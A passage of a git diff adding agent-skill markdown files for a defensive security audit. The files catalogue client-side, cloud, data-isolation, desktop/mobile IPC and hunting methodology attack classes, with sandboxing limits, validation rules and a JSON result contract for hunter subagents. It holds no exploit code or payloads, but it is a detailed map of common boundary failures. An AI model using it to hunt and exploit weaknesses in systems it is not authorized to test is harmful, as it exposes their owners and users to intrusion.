reaches `Object.prototype`, then the code that later reads the polluted property to a security-relevant effect. Pollution with no reachable gadget is not exploitable. -3. **For messaging / CORS / WebSocket, show the origin check is absent or weak.** Cite the handler and the missing or `indexOf`/`startsWith`/unanchored-regex origin check, and that the data drives a security-relevant action or a credentialed cross-origin read. Reflection plus credentials, not a bare wildcard. -4. **For UI-redress, require the sensitive action behind the missing guard.** Name the state-changing action that gets framed (clickjacking) or the attacker-controlled `_blank` link (tabnabbing). A missing `X-Frame-Options`/`rel=noopener` with nothing sensitive behind it is a hardening note — and framebusting, `frame-ancestors`, or the browser's `noopener` default may already defeat it. Check before reporting. -5. **Return ONLY confirmed findings** with the client source→sink path and whose session it fires in — or "No exploitable client-side issues found" if that's honest. +1. Cite the source, sink, browser policy, affected origin/session, and observable mutation or disclosure. +2. For prototype pollution, prove the recursive write and a security-relevant gadget. For DOM clobbering, prove the markup survives and the shadowed value is used. +3. For service workers and storage, prove lifecycle reachability: an attacker-controlled write or cache entry must reach a different account, tenant, or later authorization state. +4. For messaging, CORS, WebSocket, and XS-Leaks, show exact origin/source validation and the protected state or action exposed. Confirm that CSP, COOP/CORP, cookies, and SameSite policy do not already block it. +5. Return `confirmed` findings only with a complete client path and bounded local evidence. Return `needs_validation` with the precise deployed header, extension permission, browser version, or renderer behavior an owner must verify. diff --git a/.agents/skills/security-audit/CLOUD-AND-DEPLOYMENT.md b/.agents/skills/security-audit/CLOUD-AND-DEPLOYMENT.md new file mode 100644 index 0000000..5569f76 --- /dev/null +++ b/.agents/skills/security-audit/CLOUD-AND-DEPLOYMENT.md @@ -0,0 +1,86 @@ +# Cloud and Deployment Hunting + +#### When to use this file + +Reach for this file when the repository defines cloud identity, infrastructure, containers, Kubernetes, service mesh, serverless functions, edge workers, ingress, object storage, managed services, or environment-specific configuration. This domain asks whether deployed components receive the intended identity, isolation, network reachability, secrets, and policy. Source often expresses intent rather than live fact, so separate source-confirmed defects from deployment validation needs. + +Use `SUPPLY-CHAIN-AND-RELEASE.md` for build and promotion trust, `WEB-PROTOCOL-AND-AUTH.md` for HTTP proxy semantics, and `DATA-ISOLATION-AND-LIFECYCLE.md` for data-store tenant scope. + +## Core discipline (include in every agent prompt for this domain) + +``` +- Do not infer a live exposure from a manifest alone. Establish which environment consumes it, what defaults or overlays modify it, and whether the source path is active. +- Map each workload's identity to specific operations and resources. Broad policy is a finding only when lower-trust input can reach an unauthorized action. +- Ingress, proxies, service mesh, metadata services, and admission policy are real boundaries, but only count a control when its configuration and attachment are visible. +- Secret references are not secret disclosure. Require a lower-trust reader, output, artifact, log path, or unsafe fallback. +- Use `confirmed` for active in-repo configurations and local rendering/policy validation. Use `needs_validation` for account policy, network attachment, runtime admission, hosted metadata, or drift that needs owner observation. +``` + +## Workload identity and IAM attack classes (subagent_type: `general`) + +**Workload identity overreach** +A workload, pod, function, edge worker, or node identity can act on tenants, accounts, resources, or APIs beyond its role, and untrusted request or job input selects that target. Review cloud policy conditions, resource patterns, service-account attachment, namespace mapping, and fallback credentials. + +**Cross-account or cross-tenant role confusion** +Role assumption, external IDs, token exchange, workload federation, or resource policies accept identity claims not bound to the intended source account, audience, repository, namespace, or workload. Establish both trust policy and caller-controlled claim. + +**Application authorization delegated to cloud metadata** +An app trusts caller-supplied identity headers, tags, labels, account IDs, or resource metadata without verifying they came from the cloud control plane or a trusted proxy. Cloud IAM and application authorization are separate checks. + +## Ingress, network, and control-plane attack classes (subagent_type: `general`) + +**Unexpected service or management-plane reachability** +An ingress, service, listener, security group, load-balancer annotation, port mapping, or server bind exposes an admin, debug, metrics, node, control-plane, or internal API to a lower-trust network. Missing network controls alone are `needs_validation`; a repository-controlled public route to a sensitive handler can be `confirmed`. + +**Trusted-proxy and mesh identity bypass** +A backend accepts forwarded identity, mTLS subject, or authorization metadata from peers outside the intended ingress/sidecar, or an alternate port and health/legacy path bypasses the mesh. Verify header stripping, peer reachability, and fail-open behavior when the proxy is absent. + +**Metadata and internal-service reachability** +An untrusted URL, destination, or protocol selection reaches instance/container metadata, control-plane sockets, or internal APIs with workload credentials. Trace URL parsing and redirect handling under `ATTACK-CLASSES.md`; here establish deployed network, metadata-version, and identity boundaries. + +## Container and orchestration attack classes (subagent_type: `general`) + +**Host or control-plane capability exposure** +A lower-trust workload can select privileged mode, capabilities, host namespaces, host paths, device mounts, container runtime sockets, or service-account tokens that cross into node/control-plane authority. Bare absence of seccomp or read-only filesystem is hardening unless a reachable operation crosses that boundary. + +**Admission and policy path inconsistency** +One deployment route enforces image identity, namespace, resource, secret, or privilege policy while another controller, job, upgrade, restore, or compatibility path does not. Confirm the alternate route and resulting deployed object. + +**Namespace and label trust confusion** +Network, admission, secret, or workload-identity policy relies on labels, annotations, names, or namespaces that a less-trusted principal can set. Compare who controls selectors with what authority matching grants. + +## Configuration and secret lifecycle attack classes (subagent_type: `general`) + +**Security-control precedence drift** +Development values, chart defaults, environment variables, command-line flags, feature gates, sidecar injection, or per-region overlays disable authentication, transport security, tenant scoping, or audit policy in a deployed environment. Render the final configuration for each maintained deployment, not just the base file. + +**Secret exposure across workload boundaries** +Secrets enter logs, crash reports, process arguments, shared environment, broad volumes, build outputs, service discovery, or read APIs accessible to another workload or tenant. Check secret type and authority; a public endpoint or key ID is not a credential. + +**Credential renewal and outage fallback** +Failure to mount, refresh, rotate, or revoke a workload credential causes stale credentials to remain active or an app to accept a less trusted identity mode. Review startup, readiness, reconnect, and cached-client behavior. + +## Managed storage, events, and edge attack classes (subagent_type: `general`) + +**Object and signed-URL policy confusion** +Bucket/container policy, object keys, CDN origins, or signed URLs fail to bind principal, operation, object namespace, audience, or expiry. Review list/version operations and write paths as well as reads. + +**Event-source identity confusion** +A function or worker trusts event body fields as source identity without validating provider-signed envelope, subscription/topic, account, region, and replay state. Compare push, pull, retry, and dead-letter paths. + +**Edge/runtime boundary mismatch** +An edge or serverless runtime assumes a secret, API, filesystem, isolation, or tenant policy that differs from the origin runtime, and fallback to origin changes authority or cache behavior. Confirm which configuration selects each path. + +## Universal moves (apply across the above) + +- Render every maintained environment and make a matrix of external port, workload identity, network peers, mounted secrets, and cloud resources. Differences require an owner or policy explanation. +- Follow a lower-trust request, object, label, or event into cloud policy. Show which workload credential performs the final operation and what condition should scope it. +- Diff normal deploy, migration, restore, node maintenance, failover, and local/emulator paths. Review behavior when mesh, admission, identity, secret, or policy service is unavailable. + +## Validation rules (apply before reporting ANY finding here) + +1. Establish the active source path and effective deployment object; otherwise use `needs_validation` and state which rendered manifest or owner-observed attachment is missing. +2. Name the lower-trust caller/workload, cloud or application identity, controllable selector, affected resource, and unauthorized operation or disclosure. +3. Verify provider and orchestrator defaults at the pinned version. Do not assume a public IP, reachable metadata service, permissive firewall, or absent admission attachment. +4. Local validation may render templates, evaluate policy, inspect container/user namespaces in an isolated fixture, or run an emulator with dummy identities. Do not probe live endpoints or alter shared cloud resources. +5. Return `confirmed` only with a complete active source trace and concrete boundary result. Return `needs_validation` with the exact deployed policy, identity attachment, overlay, network, or drift observation needed. diff --git a/.agents/skills/security-audit/DATA-ISOLATION-AND-LIFECYCLE.md b/.agents/skills/security-audit/DATA-ISOLATION-AND-LIFECYCLE.md new file mode 100644 index 0000000..0cba1fa --- /dev/null +++ b/.agents/skills/security-audit/DATA-ISOLATION-AND-LIFECYCLE.md @@ -0,0 +1,84 @@ +# Data Isolation and Lifecycle Hunting + +#### When to use this file + +Reach for this file when the target stores multi-tenant or access-controlled data, derives search/index/cache/analytics copies, issues object links, exports or restores records, migrates schemas, or promises deletion, revocation, and retention behavior. This domain follows one data item through every copy and state transition. Use `ATTACK-CLASSES.md` for endpoint-level access control and `CLOUD-AND-DEPLOYMENT.md` for provider-level storage policy. + +Split large targets by primary storage, cache/search, object/blob storage, analytics/logging, export/backup, deletion/revocation, and migration. + +## Core discipline (include in every agent prompt for this domain) + +``` +- A tenant or owner field on a record is not isolation. Find the query, key, path, policy, or row-level control that enforces it for each read and write path. +- Trace derived copies. Sanitized primary data can become unsafe in search, cache, analytics, export, previews, logs, replicas, and backups with different ACL and retention rules. +- Deletion and revocation are lifecycle contracts. Check current, historical, cached, indexed, exported, restored, and queued copies within the product's stated boundary. +- Privacy or retention preference is not automatically a security vulnerability. Require an explicit data-access boundary or deletion/revocation guarantee and an unauthorized reader or later operation. +- Use `confirmed` for complete source-visible lineage and bounded dummy-tenant tests. Use `needs_validation` when external storage policy, retention, CDN behavior, replica lag, or backup access is unavailable. +``` + +## Tenant and object-isolation attack classes (subagent_type: `general`) + +**Missing tenant or owner enforcement** +A read, update, delete, list, count, or bulk query identifies an object without binding it to the authenticated tenant/owner, or trusts body fields to supply that identity. Compare direct lookup, nested relationship, background, admin, import, and legacy paths. + +**Composite-key and namespace collision** +Cache keys, object paths, database uniqueness, search document IDs, temporary files, or deduplication keys omit tenant or environment. Two principals can overwrite or retrieve the same logical key even though application records carry separate owners. + +**Policy and query disagreement** +Row-level policy, ORM default scopes, authorization filters, and raw/bypass clients apply different predicates. Check joins, aggregates, aliases, views, transactions, `unscoped` or service clients, and error paths where context is missing. + +**Blob and signed-reference overreach** +Object keys, attachment IDs, version IDs, shared links, or signed URLs permit operations or namespaces beyond the issuing principal's access, or remain valid after the underlying ACL changes. Bind operation, exact object/version, audience, expiry, and tenant. + +## Derived-data and disclosure attack classes (subagent_type: `general`) + +**Search, cache, and index ACL drift** +A primary record's ACL or lifecycle changes without invalidating a searchable, cached, embedded, thumbnail, RSS, preview, or index copy. Validate filtering at retrieval time as well as document ingestion and invalidation. + +**Analytics, logs, traces, and diagnostics as alternate readers** +Private content or credentials are emitted into systems with broader access, longer retention, or tenant mixing. Confirm the data class and realistic reader; field names, public identifiers, and operator-only content under intended policy are not enough. + +**Enumeration and aggregate oracles** +Counts, filters, ordering, errors, unique constraints, timings, notification behavior, or existence checks disclose protected object or account state. Require a concrete confidential predicate and observable distinction, not general response variance. + +## Export, backup, restore, and migration attack classes (subagent_type: `general`) + +**Export and backup scope expansion** +An export, snapshot, portability package, report, or backup includes other tenants, inaccessible object fields, soft-deleted data, secret values, or history above the requester's access. Check per-item authorization after selection and authorization to download the final artifact. + +**Import and restore authority expansion** +Restore/import bypasses owner, schema, ACL, uniqueness, or validation rules, overwrites existing resources, or recreates records in a tenant the requester cannot write. Validate archive contents as untrusted and authorize the resulting operation rather than trusting prior provenance. + +**Migration default and ownership confusion** +Old records lack tenant/ACL/lifecycle fields, incompatible IDs collide, or partial rollout makes new and old readers apply different defaults. Review backfill, dual-read/write, compatibility, rollback, and resumed-migration paths. + +**Backup and replication boundary drift** +Encryption keys, storage accounts, cross-region replicas, restoration environments, or support snapshots have broader identity or tenant scope than primary data. Source can confirm only in-repo policy; hosted access and retention require `needs_validation`. + +## Deletion, revocation, and lifecycle attack classes (subagent_type: `general`) + +**Soft-delete and tombstone bypass** +Direct lookup, search, relation traversal, object link, background processor, or restore ignores the lifecycle predicate and returns or acts on a deleted/revoked record. Check whether soft-deleted identifiers can be re-registered before all references are gone. + +**Stale authorization and derived copy use** +Membership removal, ACL update, consent withdrawal, secret revocation, or role downgrade does not invalidate sessions, caches, subscriptions, jobs, or materialized data that continue to authorize future operations. + +**Retention and queued-work overrun** +Deletion completes in primary storage while queued processors, retries, exports, analytics, or generated artifacts recreate or retain the data beyond the promised boundary. Find idempotent deletion and tombstone propagation. + +**Restore reintroduces invalid state** +Backup, undo, undelete, or replica recovery restores data, credentials, memberships, or permissions that current policy no longer allows. Re-authorize restored state and reapply lifecycle changes made after the snapshot. + +## Universal moves (apply across the above) + +- Pick one protected record and draw primary write, query, cache, index, event, export, backup, deletion, and restore paths. Mark principal and tenant at every edge. +- Compare two dummy tenants through the same local service methods, then repeat after ACL change, deletion, account switch, and restore. Do not use real user data. +- Start at bypass clients, background jobs, migrations, global uniqueness, and cache keys. These paths commonly omit request-scoped identity that interactive endpoints carry. + +## Validation rules (apply before reporting ANY finding here) + +1. Name attacker or lower-trust principal, protected data/state, affected owner/tenant, alternate copy or operation, and unauthorized disclosure or mutation. +2. Cite both intended source-of-truth policy and the path that omits or disagrees with it. Confirm another layer does not enforce the same tenant/lifecycle condition. +3. Use local dummy tenants and non-sensitive fixtures to prove cross-scope access or stale lifecycle behavior. Stop at the minimum observable record or operation. +4. If external cache, object storage, replicas, analytics, backup, or retention policy is required, classify `needs_validation` and state the owner-observed check. +5. Return `confirmed` only with complete lineage and concrete boundary impact. Return `needs_validation` with the exact unresolved storage, ACL, invalidation, retention, or restore fact. diff --git a/.agents/skills/security-audit/DESKTOP-MOBILE-AND-LOCAL-IPC.md b/.agents/skills/security-audit/DESKTOP-MOBILE-AND-LOCAL-IPC.md new file mode 100644 index 0000000..d623009 --- /dev/null +++ b/.agents/skills/security-audit/DESKTOP-MOBILE-AND-LOCAL-IPC.md @@ -0,0 +1,89 @@ +# Desktop, Mobile, and Local IPC Hunting + +#### When to use this file + +Reach for this file when the target is a desktop or mobile app, privileged helper, updater, local daemon, webview host, deep-link handler, browser native-messaging host, or local IPC client/server. Relevant untrusted actors may be a downloaded document, remote web content, another local app, another OS user, a sandboxed process, or a lower-privilege account. State that starting capability instead of treating all local users as equivalent. + +Use `CLIENT-SIDE.md` for browser-side webview behavior, `MEMORY-SAFETY-AND-BINARY.md` for native memory and loader safety, and `SUPPLY-CHAIN-AND-RELEASE.md` for update authenticity. + +## Core discipline (include in every agent prompt for this domain) + +``` +- Establish the realistic local or remote-content attacker: another app, another OS user, a sandboxed child, an untrusted document, or a remote origin. Self-harm within the same account and authority is not a boundary violation. +- Paths, process names, bundle/package IDs, and claimed sender fields are not peer authentication. Use OS peer credentials, code identity, capability handles, or protected channel state. +- The native bridge or helper must authorize each operation and final resource after parsing. A trusted UI or broker does not make attacker-influenceable arguments trusted. +- OS sandbox, signing, entitlements, permissions, keychain ACLs, exported-component policy, and prompt behavior are real controls when pinned and visible. +- Use `confirmed` for source evidence plus bounded local/emulator tests. Use `needs_validation` when signing, manifest merge, OS version, device policy, installer ACL, or packaging is required but not observable. +``` + +## Deep-link, callback, and navigation attack classes (subagent_type: `general`) + +**Custom-scheme and deep-link ambiguity** +Another app or page can invoke a route that mutates state, imports data, completes authentication, or selects an account without a current-session and one-time callback binding. Review URI normalization, duplicate query fields, scheme/host/path matching, exported activity/handler policy, and stale/replayed links. + +**App and account handoff confusion** +OAuth, SSO, magic-link, invite, device pairing, passwordless, or payment callbacks return to the wrong installed app, profile, tenant, or pending transaction. Bind state to the initiating app identity, current session, account, provider, operation, and expiry. + +**File-open and intent authority confusion** +An associated file, share intent, drag/drop item, pasteboard/clipboard record, notification action, or open-file event triggers a privileged operation without confirming content type, sender trust where applicable, current user intent, and final target. + +## Webview and native-bridge attack classes (subagent_type: `general`) + +**Navigation-origin to bridge confusion** +Remote or attacker-controlled frames can reach a JavaScript/native bridge intended only for packaged content. Validate origin at call time and after every navigation, redirect, subframe creation, popup, and error/fallback page. URL-prefix checks and initial-load checks are insufficient. + +**Over-broad native bridge capabilities** +Web content can select arbitrary files, commands, IPC methods, credentials, or system actions through a generic bridge. Check method allowlists, normalized arguments, user/tenant authority, gesture/confirmation requirements, and return-value disclosure. + +**Webview file and universal access** +Remote content can read app-local files, privileged custom schemes, or internal origins because file access, universal access, mixed content, debug interfaces, or custom protocol handlers join origins unexpectedly. Missing a restrictive setting without reachable protected content is hardening. + +## Local IPC and exported-component attack classes (subagent_type: `general`) + +**IPC peer-authentication gaps** +Unix sockets, named pipes, XPC, Binder, D-Bus, native messaging, RPC, shared memory, or loopback listeners accept a lower-trust peer without checking OS credentials, code identity, sandbox token, or channel ownership. Require a meaningful method or disclosure behind the channel. + +**Claimed principal versus channel identity** +The authenticated process/channel belongs to one app or user, but request fields select another user, tenant, profile, or capability. Bind each method and resource to the peer credential rather than a caller-declared identifier. + +**Exported service, activity, receiver, or provider overreach** +A mobile component or local automation endpoint is externally invokable and performs an operation intended for the app itself. Review final merged manifests, intent filters, permission/signature level, path grants, and alternate aliases. Manifest status unknown after packaging requires `needs_validation`. + +**IPC lifecycle and correlation confusion** +Predictable request IDs, reused handles, stale channels, inherited descriptors, world-writable socket paths, or restart behavior lets one peer answer, cancel, or reuse another peer's operation. Review creation permissions and cleanup of socket files, locks, ports, and shared mappings. + +## Privileged-helper and local-file attack classes (subagent_type: `general`) + +**Privileged helper as confused deputy** +A low-privilege caller can select a privileged command, file, service, user, or system setting without per-operation authorization. Review sudo/polkit/UAC/XPC helper rules and ensure the helper independently validates normalized arguments. + +**Install, update, and repair path trust** +A privileged installer/helper reads manifests, scripts, packages, symlinks, working directories, or repair state writable by a lower-trust actor after authorization. Bind authorization to immutable content and safe destination paths. + +**Local file ownership and TOCTOU** +The app checks a file/path then follows replacement, symlink, mount, or case/normalization changes during a privileged read/write. Use descriptor-relative operations and verify final ownership. Focus `MEMORY-SAFETY-AND-BINARY.md` on parsing after the file is opened. + +**Credential-store and local-secret boundary mismatch** +A keychain/keystore item, token file, backup, log, clipboard, notification preview, or local config is readable by another app/profile/user with less authority. Plaintext readable only by the same intended OS account is not automatically a vulnerability; state the lower-trust reader and credential power. + +## Application-state and device-lifecycle attack classes (subagent_type: `general`) + +**Account switch, logout, and device restore leakage** +Cached data, background tasks, widgets, notifications, local databases, webview storage, or biometric approvals survive logout/account change and appear under a later account. Review backup/restore and multi-profile behavior. + +**Pending-action and user-presence confusion** +Notification, widget, shortcut, share sheet, biometric prompt, or deferred operation authorizes a different action than displayed, executes after expiry, or uses another profile's pending state. Bind confirmation to normalized action, resource, account, and current foreground state. + +## Universal moves (apply across the above) + +- Enumerate every process, app component, local endpoint, URI scheme, file association, webview origin, and helper. Record OS identity, runtime privilege, caller, and callable operation. +- Read final packaging inputs: merged manifest, entitlements, installer rules, native-messaging registration, protocol handlers, and ACL creation. Source declarations can be overwritten downstream. +- Validate with dummy profiles and non-sensitive local fixtures on an isolated machine/emulator. Do not interact with other users' apps, credentials, or production services. + +## Validation rules (apply before reporting ANY finding here) + +1. Name the attacker starting capability, OS/app principal crossed, entry channel, accepted argument or state, and unauthorized operation or disclosure. +2. Confirm OS sandbox, peer credential, signing, entitlement, permission, user-consent, and installer controls that apply. Unknown packaging/runtime facts require `needs_validation`. +3. For webview bridges, cite both navigation/origin control and privileged native sink. For IPC, cite peer authentication and per-resource authorization. For helpers, verify final normalized destination. +4. Keep local tests bounded and use dummy content/accounts. Stop after proving the boundary result; do not extend proof into persistence or broader system modification. +5. Return `confirmed` only with a complete source and local evidence chain. Return `needs_validation` with the exact OS, manifest, signing, ACL, or device-lifecycle fact required. diff --git a/.agents/skills/security-audit/HUNTING.md b/.agents/skills/security-audit/HUNTING.md index 5ed47b9..7564181 100644 --- a/.agents/skills/security-audit/HUNTING.md +++ b/.agents/skills/security-audit/HUNTING.md @@ -1,110 +1,244 @@ # Vulnerability Hunting -### Phase 2: Hunt for vulnerabilities +### Phase 2: Run coverage-led hunting waves + +The parent assigns `planned` ledger units to `general` agents. Use enough focused hunters to cover the units without combining unrelated boundaries. One hunter may own closely related units in one subsystem; no unit may be silently unassigned because of an agent-count limit — a unit the budget cannot reach is explicitly `deferred` with reason `budget_cannot_reserve_critics_and_validation`. + +When a budget or profile caps hunter count, assign units in priority order and record the ordering rationale in the ledger. Rank by: (1) unauthenticated or lowest-trust entry surfaces before authenticated ones; (2) boundaries protecting the most valuable resources (credentials, cross-tenant data, code execution, release authority); (3) prior-run gaps, revalidation targets, and changed source before same-source re-passes; (4) units whose class historically yields confirmed findings for this target type over speculative ones. Ties break lexicographically by `coverage_id` so runs stay deterministic. + +Before launch, the parent changes assigned units to `in_progress`, sets a canonical lowercase `agent_id`, and creates that agent's `scratch/` and parent-owned `artifacts/`. Hunters read source and parent-provided context, write only to their unique `scratch/`, and return one structured result through the Task tool. They never write retained artifacts or edit target source, `architecture.md`, `coverage-ledger.json`, `findings.json`, or another agent's files. + +## Required hunter prompt + +Every hunter prompt contains these parts in this order: + +1. A two-sentence role preamble: the hunter's goal is to find source-grounded security invariant failures in its assigned units, and it must return exactly one JSON object matching the structured-result contract at the end of this prompt. +2. `architecture.md` verbatim. +3. Assigned coverage IDs, subsystem, boundary, repository-relative starting paths, and each unit's assignment block map from `coverage-ledger.json`. +4. The exact selected blocks, copied verbatim: each selected ordinary attack-class block from `ATTACK-CLASSES.md`, and from each selected companion its `Core discipline`, each chosen attack-class subsection, `Universal moves`, and `Validation rules`. Ordinary blocks are self-contained and carry no companion-style `Core discipline`, `Universal moves`, or `Validation rules` sections. Do not send block or companion names alone. +5. Explicit excluded ordinary and companion blocks with a reason for each exclusion. +6. The core hunting method below, followed by the promotion procedure block. +7. The core validation rules below. +8. Carried same-source prior confirmed exclusions, each limited to fingerprint, title, and root cause, plus peer-owned current coverage IDs that this hunter must not duplicate. +9. The unique scratch/artifact paths, safe agent ID, predeclared promotion allowlist and byte limits, and the structured-result contract, including the Structured hunter result block below and the `confirmed` and `needs_validation` branches of `report-schema.json` copied verbatim. + +A prompt may select several companion blocks when the same path crosses several domains. Keep their constraints together. Scope is the hunter's coverage obligation, not permission to duplicate excluded work. If an unexpected different boundary appears, return it under `uncovered` so the parent creates a stable ledger unit and assigns it in the next wave. + +#### Core hunting method — include in every hunter prompt + +```text +## Defensive vulnerability-finding method + +Your goal is to find source-grounded security invariant failures and the smallest fix, +not to expand harm beyond the boundary result. Stay within source review and bounded local execution. +Do not contact deployed endpoints, provider APIs, registries, identity systems, +message brokers, shared services, or other users. Use local dummy data only. + +READ THE CODE AT DEPTH. Follow each assigned input through parsing, identity, +authorization, normalization, state, derived copies, and the final sink. Read sibling, +legacy, batch, retry, cancellation, migration, and error paths that produce the same +effect. Compare what one component guarantees with what the next component assumes. + +WORK FROM A CONCRETE INVARIANT: +1. Name the lower-trust principal and starting capability. +2. Name the accepted value, action, state transition, or resource selector. +3. Locate the control that should reject, bind, isolate, limit, or revoke it. +4. Trace the exact source path after that decision. +5. Stop at the smallest affected dummy record, wrong return value, process-integrity + effect, or locally observable shared-resource effect. +6. State a source-level change and regression case that enforce the invariant. + +DEPTH BOUND: trace only paths that can reach your assigned boundary or whose +guarantees that boundary relies on. Stop a line of investigation as soon as the +invariant is settled either way, and record the result in your structured output — +a covered, candidate, or blocked disposition, or an `uncovered` entry — instead of +continuing to search. + +TEST SAD PATHS AND DISAGREEMENTS. Check absent, empty, zero, negative, maximum, +over-limit, duplicate, mixed encoding, stale, revoked, reordered, concurrent, +partially migrated, failed dependency, and rollback state only where the interface +accepts them. Compare canonicalization and units at every parser or policy handoff. +For multi-step issues, treat each output as a prerequisite and do not assume a later +boundary. If any prerequisite is not established, record a blocker. + +USE THE NARROWEST LOCAL CHECK THAT SETTLES THE CLAIM. Target-controlled builds, +tests, processes, browsers, emulators, fuzzers, and fixture processing may run only +inside the parent-approved OS-enforced sandbox. It must disable external networking, +start from an empty allowlisted environment, expose target and tools read-only, permit +writes only to your scratch directory, and apply low CPU, memory, process, file-size, +disk, and wall-clock limits. Isolated loopback is allowed only for a local fixture. +If any control is unavailable, do not execute: return needs_validation with that exact +blocker. Prefer an existing unit test, minimal function harness, dummy-tenant service +call, small malformed fixture, deterministic race schedule, or locally rendered policy. +Do not install or fetch tools. + +Record the exact input, command, limits, and minimum result. For the environment, +record only allowlisted variable names and safe non-secret values needed to reproduce +the check. Never capture the ambient environment, inherited variables, credentials, +authentication state, or unrelated host paths. The target-controlled process writes +only in scratch. After the sandbox and all its processes terminate, only trusted +parent-side code may promote predeclared scratch-relative files, following the +promotion procedure block included verbatim in this prompt. You and target code never +write retained artifacts. If promotion is unavailable or fails for decisive evidence, +return needs_validation with the exact promotion blocker. +Never stress availability, invoke a live target, use a real credential, publish an +artifact, or continue past the minimum observed effect. + +A deployment, browser, provider, broker, OS, proxy, package, secret, or identity fact +outside source is not proof either way. If one such fact is decisive, return a +needs_validation record with the exact missing observation and safe owner-observed check. +``` -Launch **multiple `general` agents in parallel** via the Task tool. Use `general`, not `research` — general agents can spawn their own sub-agents via the Task tool, so when a hunter finds a rabbit hole that needs deeper investigation (e.g., tracing injection into an auth subsystem it doesn't fully understand), it can spin up a focused `research` sub-agent rather than trying to do everything in one context window. +#### Promotion procedure — copy this promotion procedure verbatim into every hunter prompt + +```text +Artifact promotion procedure (trusted parent-side code only): +Reference only for you: the parent performs these steps; you never perform them. + +Before execution, the parent opens and retains trusted, non-inheritable directory +descriptors for the agent's scratch/ and artifacts/ roots, and records an allowlist +of expected scratch-relative artifact files plus explicit per-file and cumulative +byte limits. Never pass those descriptors to the agent or sandbox. After the sandbox +and all its processes terminate, trusted parent-side code promotes each allowlisted +file separately: + +1. Validate the declared relative path: reject absolute, empty, `.`, `..`, or + symlinked components. +2. Walk each parent component from the retained scratch-root descriptor with + no-follow directory-relative operations; never reopen by path. +3. Open the leaf no-follow and nonblocking. +4. Verify with `fstat` that it is a regular file with link count exactly one and + within the recorded per-file and cumulative byte limits. +5. Enforce those limits again while reading from that descriptor. +6. Copy exactly the verified size, repeat `fstat`, and reject a changed identity, + type, link count, or size. +7. For the destination, walk every parent component from the retained + artifacts-root descriptor with no-follow directory-relative operations; require + each existing component to be a real directory, and create any missing directory + exclusively before reopening and verifying it no-follow. +8. Create the leaf exclusively without following links, verify that the opened + destination is a regular file with link count exactly one, and copy from the + verified source descriptor without reopening either path. +9. Use equivalent race-safe APIs on non-POSIX systems. +10. Never recursively copy or glob scratch, extract an archive into artifacts, or + open or promote a symlink, FIFO, socket, device, directory, hard-linked file, + changing file, or file that exceeds its bound. +11. If any check is unavailable, cannot be enforced, or fails, discard the scratch + entry; if it is decisive evidence, retain `needs_validation` with the exact + promotion blocker. +``` -Each agent gets the architecture summary from Phase 1 injected into its prompt plus the hunting methodology and validation rules. Launch them in a single message so they run concurrently. +#### Core validation rules — include in every hunter prompt + +```text +## Candidate gate + +1. A candidate needs a complete repository-relative source trace and evidence for the + claimed root cause, including the strongest source-visible control. +2. A proposed confirmed record needs a bounded local observed result, meaningful impact + across a stated boundary, complete conditions, and no visible preventing layer. +3. Do not strengthen a crash into code execution, ordinary work into shared availability, + or a same-principal action into privilege gain. +4. If a required fact is not source-visible or locally observable, use + needs_validation. Name exact blockers; do not give it severity or speculative completion. +5. A missing best practice with no affected principal/resource is excluded or hardening, + not a finding. A candidate disproved by source is not needs_validation. +6. Use the same source-derived fingerprint for the same root cause in every state. + It must match `^[A-Za-z0-9][A-Za-z0-9._:/@+-]*$` and must not include a line, + wave, agent, severity, or verdict. +7. Return an empty candidate array when nothing survives these gates. +``` -**How many agents?** Use Phase 1 to decide. More focused agents produce better results than broad ones that run out of context. For a small library, 3-4 agents may suffice. For a large application with distinct subsystems, launch 8-12+ — split by attack class AND by subsystem. If Phase 1 revealed an auth system, a plugin system, a media pipeline, and a comment engine, each of those could warrant its own injection agent, its own logic agent, etc. +## Local validation boundaries + +Local execution is for confirmation, not impact expansion: + +- **Allowed only in the required OS sandbox:** offline builds with present dependencies; isolated-loopback processes using dummy state; unit and integration tests; small fixture processing; sanitizers; bounded fuzz/regression tests; deterministic concurrency checks; local browser/emulator tests with dummy accounts; rendered manifests and policy evaluation with dummy identities; mocked external or paid calls. +- **Disallowed:** live or deployed traffic; requests to services not started for this isolated check; network dependency installation; real accounts or credentials; production data; shared queues, cloud resources, runners, registries, signing or release services; publishing; stress, saturation, or cost generation; any work after the minimum dummy-data boundary result. + +The sandbox starts with an empty environment, gives target code no external network or host writable path, and enforces explicit low resource and time limits for every check, not only checks expected to be expensive. Scratch output remains target-controlled after exit. Promote it only with the no-follow, path-confined, regular-file, bounded-size host procedure in `SKILL.md`. Missing any sandbox or promotion capability does not erase a source-grounded candidate; represent the exact blocker in `needs_validation`. + +## Structured hunter result + +Return exactly one JSON object, with no surrounding prose: + +```json +{ + "units": [ + { + "coverage_id": "one assigned ID", + "disposition": "covered|candidate|blocked", + "reviewed_paths": ["repo/relative/path"], + "checks": [ + { + "agent_id": "canonical owner of this check", + "reviewed_paths": ["repo/relative/path owned by this check"], + "invariant": "specific control checked for this unit", + "method": "source|local", + "result": "what source or the bounded check established", + "artifact": "agents//artifacts/file for local, null for source" + } + ], + "candidate_fingerprints": [], + "unresolved": [] + } + ], + "candidates": [], + "hardening": ["concrete non-finding note"], + "uncovered": [ + { + "surface": "...", + "boundary": "...", + "subsystem": "...", + "attack_class": "...", + "starting_paths": ["repo/relative/path"], + "reason": "why this needs its own deterministic coverage unit" + } + ] +} +``` -Every agent prompt MUST include: -1. The architecture summary from Phase 1 (copy it in verbatim) -2. The specific attack class and scope to investigate -3. Relevant file paths from Phase 1 as starting points -4. The hunting methodology (below) -5. The validation rules (below) +Each `candidates` entry is schema-shaped except that it uses `proposed_verdict` in place of `verdict`: -#### Hunting methodology — include in every Phase 2 agent prompt +- `proposed_verdict: "confirmed"`: include every field required by the `confirmed` branch of `report-schema.json` other than `verdict`: `fingerprint`, title, description, `root_cause`, `intended_behavior`, ordered `trace`, `evidence`, `conditions`, target-neutral `execution`, `remediation`, `severity`, and `confidence`. The execution instructions describe only the bounded local check already performed. `payloads` holds the minimum test input, fixture, or native invocation. `observed_result` records actual local output. Overall severity must not exceed observed impact. +- `proposed_verdict: "needs_validation"`: include every field required by that schema branch other than `verdict`: `fingerprint`, title, description, `claimed_root_cause`, ordered `trace`, `evidence`, nonempty `blockers`, and `validation_plan` with at least one applicable `local` or `deployment` step. Do not invent an inapplicable context. Do not include severity, execution, remediation, reason, or a confirmed `root_cause`. `deployment` is an owner-observed check, not a request to probe a live target. -Tell each agent to think like an attacker, not a code reviewer: +Every assigned coverage ID appears exactly once in `units`. A `covered` unit needs an owner, nonempty `reviewed_paths` and `checks`, no unresolved fact, and no candidate. A `candidate` unit has the same owned evidence and is the only state that carries linked 